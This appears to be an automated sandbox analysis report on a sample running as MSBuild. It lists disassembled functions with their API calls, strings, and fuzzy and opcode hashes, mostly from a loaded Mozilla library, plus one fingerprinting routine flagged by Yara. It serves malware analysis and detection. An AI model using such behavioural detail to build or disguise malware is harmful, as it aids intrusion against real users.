Opcode Fuzzy Hash: 5a875095a5900058870b3df68c8f0e5d535017abe458fad961432e9f98c51b29
Instruction Fuzzy Hash: 98B1C1B0A05219DBDB04CF94CD56BEEBBBAAF84318F208519D405ABF80D771AD45CBE1

Function 6C52C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C5A3
WideCharToMultiByte.KERNEL32 ref: 6C52C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C52C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C52CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C52CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52CAA5

Strings

0, xrefs: 6C52D30A
(null), xrefs: 6C52C596

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction ID: 8920ef6727e776ee0146090e51f4310debb9c0b5ee57ff1802d7743958625978
Opcode Fuzzy Hash: c32a3ee3196ee60d01741fda070e9c41ea2170702cbb51b67624cc9a929982ad
Instruction Fuzzy Hash: 7AA19E306093429FEB10DF28CD4475ABBF1AF89748F05895DE89997782D739E805CB92

Function 6C52C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C52C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52C891

Strings

NAN, xrefs: 6C52C7AD
INF, xrefs: 6C52C794
nan, xrefs: 6C52C7A8
inf, xrefs: 6C52C78F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction ID: be752a2af9005d106f9731b8a150c5cf73eaae743251ceb787a631530663365a
Opcode Fuzzy Hash: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction Fuzzy Hash: 785196715087808BE704EF2CC88169AFBF0BF9A344F008A1DE9D5A7691E774E985CB53

Function 6C503480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C50350E
__Init_thread_footer.LIBCMT ref: 6C503522
__aulldiv.LIBCMT ref: 6C503552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C50357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503592

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C503508
kernel32.dll, xrefs: 6C5034EA

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction ID: bb9ca0891b4b4ff76b78817a471f17fcc703506780a43bfdb9cdd4e9ac16607a
Opcode Fuzzy Hash: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction Fuzzy Hash: 8031C471B02225DBDF00DFB6CC48EAA77B9FB4B308F121619E505E3660EB74A904CB64

Function 6C504480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C544843,?), ref: 6C5045F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C544843,?), ref: 6C50468A
free.MOZGLUE(?,?,?,?,?,?,6C544843,?), ref: 6C5046C9
free.MOZGLUE(?), ref: 6C5046EF
free.MOZGLUE(?), ref: 6C504712
free.MOZGLUE(?), ref: 6C504735
free.MOZGLUE(?), ref: 6C504758
free.MOZGLUE(?), ref: 6C50477B
free.MOZGLUE(?), ref: 6C50479E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction ID: ee679deb6a9e66a16dc19a8b28a62e7d1b948770f12c55f2fc24c87a1daf1bb6
Opcode Fuzzy Hash: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction Fuzzy Hash: 7DB1D271B005508FDB18DE3CDC9476D77A2AFA2328F184A69E816DBBD6E7319C408B91

Function 6C56AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C56AC52
CreateFileMappingW.KERNEL32 ref: 6C56AC7D
GetSystemInfo.KERNEL32 ref: 6C56AC98
MapViewOfFile.KERNEL32 ref: 6C56ACB0
GetSystemInfo.KERNEL32 ref: 6C56ACCD
MapViewOfFile.KERNEL32 ref: 6C56AD05
UnmapViewOfFile.KERNEL32 ref: 6C56AD1C
CloseHandle.KERNEL32 ref: 6C56AD28
UnmapViewOfFile.KERNEL32 ref: 6C56AD37
CloseHandle.KERNEL32 ref: 6C56AD43
CloseHandle.KERNEL32 ref: 6C56AD67

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction ID: ffc047458345256063b3694cb85e4312b62115950f3cd3173925a0cf734c3d11
Opcode Fuzzy Hash: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction Fuzzy Hash: 50316EB19057158FDB00BF79CE4826EBBF4BF86305F025A2DE98587611EB709488CB96

Function 6C519620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

ntdll.dll, xrefs: 6C5196E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670
NtMapViewOfSection, xrefs: 6C519701
MapViewOfFileNuma2, xrefs: 6C5197B1

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction ID: 7e7f9953d57e5ae6cd17cce20ffeef43a6d1c693c8a7c38efa564e8c81d51c01
Opcode Fuzzy Hash: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction Fuzzy Hash: 98418F746022259BFF00EFA4DC88A9677B4FB8B314F125629ED16D7B40E730A844CBA5

Function 6C550000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C550039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C550041
GetCurrentThreadId.KERNEL32 ref: 6C550075
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C550082
moz_xmalloc.MOZGLUE(00000048), ref: 6C550090
free.MOZGLUE(?), ref: 6C550104
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C55011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C55005B

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction ID: f95b5c49af6e8f5d533352a7a24161f993e78ff57da4b7034bb9ce0165fcf2c9
Opcode Fuzzy Hash: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction Fuzzy Hash: 4A41BF71502664DFCB10DF64CC40A9ABBF4FF8A318F81491EE95A83B50D731AC14CB96

Function 6C517E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C517EA7
malloc.MOZGLUE(00000001), ref: 6C517EB3

Part of subcall function 6C51CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C51CB49
Part of subcall function 6C51CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C51CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C517EC4
mozalloc_abort.MOZGLUE(?), ref: 6C517F19
malloc.MOZGLUE(?), ref: 6C517F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C517F4D

Strings

d, xrefs: 6C517F89

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction ID: fca0cdaf9b73ce9660251dd9deb95c232dacce5d1acb49a233b2b80ef3d7dea1
Opcode Fuzzy Hash: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction Fuzzy Hash: AC311871E04758D7EF019B28CC445FEB778EF96208F059628EC495BA12FB31A9C8C3A4

Function 004187C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(01340598,00000000,00000000,00000000), ref: 004187F5
GetDeviceCaps.GDI32(?,00000008), ref: 00418804
GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
ReleaseDC.USER32(00000000,?), ref: 00418822
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 6C513E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C513EEE
RtlFreeHeap.NTDLL ref: 6C513FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C514006
RtlFreeHeap.NTDLL ref: 6C5140A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140C2
RtlFreeHeap.NTDLL ref: 6C514134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C514143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C514157

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b49c722023178006d9089bf5eeb1e0118da9d621250ab13da46074e5757a4e4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 59A19FB5A04205CFEB50CF29C884659B7B5FF88318F2545A9D909AFB42D771EC86CBA0

Function 6C502030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C523F47,?,?,?,6C523F47,6C521A70,?), ref: 6C50207F
memset.VCRUNTIME140(?,000000E5,6C523F47,?,6C523F47,6C521A70,?), ref: 6C5020DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C523F47,6C521A70,?), ref: 6C50211A
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C523F47,6C521A70,?), ref: 6C5021BA
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C5021E0
LeaveCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C502253, 6C502268
MOZ_CRASH(), xrefs: 6C50227D

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction ID: d6903fafa25e292f04187e21734c6df8af4ac63648de1f6df5c17d3aa4cb9705
Opcode Fuzzy Hash: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction Fuzzy Hash: B161D631F01226CFCB04CEA9CD9976E77B5AF86318F294639E924E7A95D7709C00C791

Function 6C559D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C558273), ref: 6C559D65
free.MOZGLUE(6C558273,?), ref: 6C559D7C
free.MOZGLUE(?,?), ref: 6C559D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C559E0F
free.MOZGLUE(6C55946B,?,?), ref: 6C559E24
free.MOZGLUE(?,?,?), ref: 6C559E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C559EC8
free.MOZGLUE(6C55946B,?,?,?), ref: 6C559EDF
free.MOZGLUE(?,?,?,?), ref: 6C559EF5

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction ID: 649a64e00be3d7591a86a563c87aa9d1ae34bf556c2dc47d01b7481a921224cb
Opcode Fuzzy Hash: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction Fuzzy Hash: BC71A1B0909B41DBC712CF18C88056BF3F4FF99315B84965AE85A5B701EB34E886CBC1

Function 6C55DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C55DDCF

Part of subcall function 6C53FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53FA4B

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE0D
free.MOZGLUE(00000000), ref: 6C55DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF32

Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DB86
Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF65
free.MOZGLUE(?), ref: 6C55DF80

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
